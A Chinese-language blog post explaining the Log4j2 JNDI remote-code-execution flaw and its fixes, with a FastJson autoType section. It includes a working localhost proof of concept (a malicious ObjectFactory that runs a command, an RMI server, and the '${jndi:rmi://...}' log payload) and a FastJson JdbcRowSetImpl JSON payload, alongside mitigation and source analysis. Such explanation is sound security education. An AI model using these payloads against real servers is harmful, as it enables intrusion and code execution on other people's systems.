遠程代碼漏洞對廣大程序員來并不陌生,遠程代碼執行是指攻擊者可能會通過遠程調用的方式來攻擊或控制計算機設備,無論該設備在哪里。如果遠程代碼執行的是一個死循環那服務器的CPU不得美滋滋了。
前段時間,JAVA 界的知名日志框架 Log4j2 發現了遠程代碼執行漏洞,漏洞風暴席卷各大公司,編程屆異常火熱(加班),我們是萬萬沒想到那么牛逼的日志框架有BUG。
這次安全漏洞也有個小插曲,我司的員工發現了漏洞,上報了Apache沒告知GXB,我司也受到了處罰,希望下次引以為戒,不過這事程序員不背鍋,管理下次要反思下。
漏洞描述
本次 Apache Log4j 遠程代碼執行漏洞,是由于組件存在 Java JNDI 注入漏洞:
當程序將用戶輸入的數據記入日志時,攻擊者通過構造特殊請求,來觸發 Apache Log4j2 中的遠程代碼執行漏洞,從而利用此漏洞在目標服務器上執行任意代碼。
- 首先開啟HTTP服務器,并將我們的惡意類放在目錄下
- 開啟惡意RMI服務器
- 攻擊者輸入的參數為上一步開啟的惡意RMI服務器地址
- 惡意RMI服務器返回ReferenceWrApper類
- 目標服務器在執行lookup操作的時候,將ReferenceWrapper變成Reference類,然后遠程加載并實例化我們的Factory類(即遠程加載我們HTTP服務器上的惡意類),進而執行惡意代碼
漏洞復現
JNDI
JNDI 是Java 命名和目錄接口(Java Naming and Directory Interface,JNDI)的簡稱,從一開始就一直是 Java 2平臺企業版的核心技術之一。
在JMS,JMail,JDBC,EJB等技術中,就大量應用的這種技術。
JNDI可訪問的現有的目錄及服務有:DNS、XNam 、Novell目錄服務、LDAP(Lightweight Directory Access Protocol 輕型目錄訪問協議)、 CORBA對象服務、文件系統、windows XP/2000/NT/Me/9x的注冊表、RMI、DSML v1&v2、NIS。
JNDI 誕生的理由很簡單:隨著分布式應用的發展,遠程訪問對象訪問成為常用的方法。雖然說通過Socket等編程手段仍然可實現遠程通信,但按照模式的理論來說,仍是有其局限性的。
RMI技術,RMI-IIOP技術的產生,使遠程對象的查找成為了技術焦點。JNDI技術就應運而生。JNDI技術產生后,就可方便的查找遠程或是本地對象。
如下展示了JNDI的架構圖。
編寫攻擊代碼
為完成Bug的復現,我們需要簡單的搭建一個RMI服務。
首先編寫我們的攻擊代碼。此處攻擊代碼遍歷指定目錄下的文件,并將其輸出到指定目錄中。
攻擊者可以獲取無法服務器的任意目錄結構,恐怖如斯~
public class BadCode implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("開始執行攻擊");
String data = "HH,我來了";// 囂張點
File file =new File("./badcode.txt");
//if file does not exists, then create it
if(!file.exists()){
file.createNewFile();
}
FileWriter fileWritter = new FileWriter(file.getName(),true);
fileWritter.write(data);
// 遍歷服務器指定目錄
List<String> command = new ArrayList<String>();
command.add("tree");
command.add("**");//指定一個目錄
String outstring = null;
Process p = null;
try {
ProcessBuilder builder = new ProcessBuilder();
builder.command(command);
/**
* 將標準輸入流和錯誤輸入流合并,通過標準輸入流程讀取信息
*/
builder.redirectErrorStream(true);
p = builder.start();
outstring = waitFor(p);
fileWritter.write(outstring);
} catch (Exception ex) {
ex.printStackTrace();
}finally {
fileWritter.close();
p.destroy();
}
return obj;
}
public static String waitFor(Process p) {
InputStream in = null;
int exitValue = -1;
StringBuffer outputString = new StringBuffer();
try {
in = p.getInputStream();
final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in, "utf-8"));
boolean finished = false;
int maxRetry = 600;//每次休眠1秒,最長執行時間10分種
int retry = 0;
while (!finished) {
if (retry > maxRetry) {
return "error";
}
try {
String line="";
while ((line=bufferedReader.readLine())!=null) {
outputString.append(line+"n");
}
//進程未結束時調用exitValue將拋出異常
exitValue = p.exitValue();
finished = true;
} catch (IllegalThreadStateException e) {
Thread.sleep(1000);//休眠1秒
retry++;
}
}
} catch (Exception e) {
e.printStackTrace();
} finally {
if (in != null) {
try {
in.close();
} catch (IOException e) {
System.out.println(e.getMessage());
}
}
}
return outputString.toString();
}
}
編寫RMI服務并啟動。
public class StartRMIserver {
public static void main(String[] args) throws Exception {
//服務端口1099
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("BadCode", "BadCode", "http://127.0.0.1:80/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("bad", wrapper);
System.out.println("RegistryServer is running");
}
}
打印如下日志復現Bug。
public class BugShow {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
//改動一些系統默認配置,讓系統可以被攻擊
System.setProperty("java.rmi.server.useCodebaseonly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//打印攻擊日志
LOGGER.info("start attack:{}", "${jndi:rmi://127.0.0.1:1099/bad}");
}
}
如果一切順利,你會發現服務器中生成了一個名為badcode.txt的文件,里面存儲著指定目錄下的所有文件目錄。
修復方案
所幸,各大安全團隊迅速給出了如下解決方案(本質都一樣),似乎是不使用LookUp就解決了。(終極方案是將log4j-core升級為2.16.0)
- 修改jvm參數 -Dlog4j2.formatMsgNoLookups=true
- 在類路徑下增加log4j2.component.properties配置文件并增加配置項log4j2.formatMsgNoLookups=true
- 將系統環境變量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設置為 true
但是,乖,你不好奇嗎?為什么不使用 LookUp 機制就修復了呢?
LookUps 機制
LookUps提供了一種在任意位置向 Log4j 配置添加值的方法。它們是實現 StrLookup 接口的特殊類型的插件,Log4j 提供了Date Lookup、Java LookUp、Jndi LookUp(罪魁禍首)等實現。
如下展示了Date LookUp和Java lookUp的使用。
public class App {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) throws Exception {
LOGGER.info("java.os:{}","${java:os}");
LOGGER.info("date:{}","${date:yyyy-MM-dd HH:mm:ss}");
}
}
Java Lookup
JavaLookup 使用以 java: 為前綴的的預格式化字符串檢索 Java 環境信息。
鍵 |
描述 |
version |
獲取Java版本,比如Java version 1.8.0_312 |
runtime |
獲取Java運行時版本,比如OpenJDK Runtime Environment (build 1.8.0_312-b07) from Azul Systems, Inc. |
vm |
獲取虛擬機信息,比如OpenJDK 64-Bit Server VM (build 25.312-b07, mixed mode) |
os |
獲取系統信息,比如mac OS X 11.3.1 unknown, architecture: aarch64-64 |
locale |
獲取編碼信息,比如default locale: zh_CN, platform encoding: UTF-8 |
hw |
獲取硬件信息,比如processors: 8, architecture: aarch64-64 |
Jndi Lookup
這也是此次漏洞的罪魁禍首!JndiLookup 允許通過 JNDI 檢索變量。
默認情況下,鍵將以 java:comp/env/ 為前綴,但是如果鍵包含":"則不會添加前綴。
默認情況下,JDNI Lookup 僅支持 java、ldap 和 ldaps 協議或不支持協議,可以通過在
log4j2.allowedJndiProtocols 屬性上指定它們來支持其他協議。
當使用 LDAP 時,出于安全原因,不支持實現 Referenceable 接口的 Java 類,默認情況下僅支持 Java 的基礎類型以及 log4j2.allowedLdapClasses屬性指定的任何類。
使用 LDAP 時,僅支持對本地主機名或 IP 地址的引用以及 log4j2.allowedLdapHosts 屬性中列出的任何主機或 IP 地址。
Java LookUp源碼
通過 LookUp 機制,Log4j框架解析了${}中的內容,跟蹤源碼可以發現如下調用鏈,并且可以發現日志中${}內容的替換是在
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format中完成的。
觀察源碼不難發現我們感興趣的東西——noLookups和對${的查找。
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
// 獲取原始的日志
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
查看StrSubstitutor類的
org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute方法,美滋滋的發現調用 resolveVariable 方法后獲取到了解析的值。
resolveVariable 方法內部調用getVariableResolver()方法獲取對應的值解析器,此次獲取 JavaLookUp。繼續追下去發現version的獲取就是從系統環境變量中取得的。
終極解決方案
2.15.0
讀完源碼不難得出結論:如果不讓代碼執行${}的解析不就行了,即不使用LookUp機制。
如下圖表示了noLookUps的默認值。這也說明了為什么解決方案是增加JVM啟動參數:
-Dlog4j2.formatMsgNoLookups=true。
為什么升級為2.15.0后Bug就修復了呢?因為在新版本中默認會使用
SimpleMessagePatternConverter,同時不使用 LookUp 機制。
如下圖所示:
2.16.0
- 默認禁用JNDI的訪問,用戶需要通過配置 log4j2.enableJndi 參數開啟
- 默認允許協議限制為:java、ldap、ldaps,并將ldap協議限制為僅可訪問Java原始對象
- Message Lookups被完全移除,加固漏洞的防御
在Log4j2升級至 2.16.0 時我們天真的認為已經結束了,萬萬沒想到,2.16.0 又爆出來新的 DOS 拒絕服務攻擊漏洞(沒完了不是)。
具體說來是,Apache Log4j2 的 2.0-alpha1 到 2.16.0 版本,均未能防止自引用查找的不受控遞歸。
當日志配置使用了帶有上下文查找的非默認模式布局時(例如$${ctx:loginId}),控制線程上下文映射(MDC)數據輸入的攻擊者,便可制作一份包含遞歸查找的惡意輸入數據,從而導致進程因堆棧溢出報錯而被終止。
如果目前不方便升級版本的話,可以采用下面的兩種方法來緩解此漏洞:
在日志配置的 PatternLayout 中,用 %X、%mdc 或 %MDC 來替換
或${ctx:loginId} 等Context Lookups
在使用外部數據(HTTP Header或用戶輸入等)的地方,刪除對Context Lookups的引用(如
或${ctx:loginId} )
2.17.0
- 只有配置中的lookup字符串才允許遞歸解析。并且僅解析最頂層的lookup,不解析任何嵌套的lookups。
- 將 JNDI 僅限于 java 協議。默認情況下,JNDI 將保持禁用狀態。將 JNDI 啟用屬性從"log4j2.enableJndi"重命名為"log4j2.enableJndiLookup"、"log4j2.enableJndiJms"和"log4j2.enableJndiContextSelector"。
- JNDI 僅限于 java 協議。默認情況下,JNDI 將保持禁用狀態。啟用屬性已重命名為"log4j2.enableJndiJava"。
擴展:FastJson 漏洞
遠程代碼執行漏洞在業內還是比較多見的,除了此次的 Log4j 漏洞,我們再來看看其他工具的漏洞吧!
在2017年3月15日,fastjson官方主動爆出fastjson在1.2.24及之前版本存在遠程代碼執行高危安全漏洞。攻擊者可以通過此漏洞遠程執行惡意代碼來入侵服務器。
關于漏洞的具體詳情可參考:
https://github.com/alibaba/fastjson/wiki/security_update_20170315。
漏洞原因
FastJson 提供 autoType 功能,在對JSON字符串進行反序列化的時候,會讀取@type到內容,試圖把JSON內容反序列化成這個對象,并且會調用這個類的setter方法。黑客可以利用這個特性,自己構造一個JSON字符串,并且使用@type指定一個自己想要使用的攻擊類庫。
常用的攻擊類庫是
com.sun.rowset.JdbcRowSetImpl,這是sun官方提供的一個類庫,這個類的dataSourceName支持傳入一個rmi的源,當解析這個uri的時候,就會支持rmi遠程調用,去指定的rmi地址中去調用方法。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/bad","autoCommit":true}
FastJson 的修復方案
在 1.2.25 版本中 FastJson 新增了黑名單機制,如果@type中的類是黑名單中的則直接拋異常。
// 上面提到的 com.sun.rowset.JdbcRowSetImpl 就在黑名單中,即 com.sun.
private String[]
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
// 類名中只要包含了黑名單中的任何對象,直接拋異常,寧可錯殺不可放過
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
......
}
總結
如下展示了2018年收錄漏洞按利用方式統計圖與2020年CNVD漏洞產生原因圖。
可見漏洞利用的攻擊方式分為:本地攻擊和遠程攻擊。
其中遠程攻擊占比約為89%,本地攻擊約占11%,由此可見遠程攻擊是主要的漏洞攻擊的手段,也是需要主要防范的漏洞攻擊手段,并且大部分漏洞的產生原因都是設計錯誤導致的。(所以網絡一片呼聲希望高鐵提供不使用 AutoType 的 FastJson,HH)
分析 Log4j2 的此次漏洞產生原因與修復方案是我們的一小步,希望各位都能寫出沒有bug的代碼(厚顏無恥的說,我一直在寫bug~_~)
____________________
< 神獸護體,永無bug! >
--------------------
^__^
(oo)_______
(__) )/
||----w |
|| ||
原文地址:
http://netsecurity.51cto.com/art/202112/697355.htm
如果你覺的本文對你有幫助,麻煩點贊關注支持一下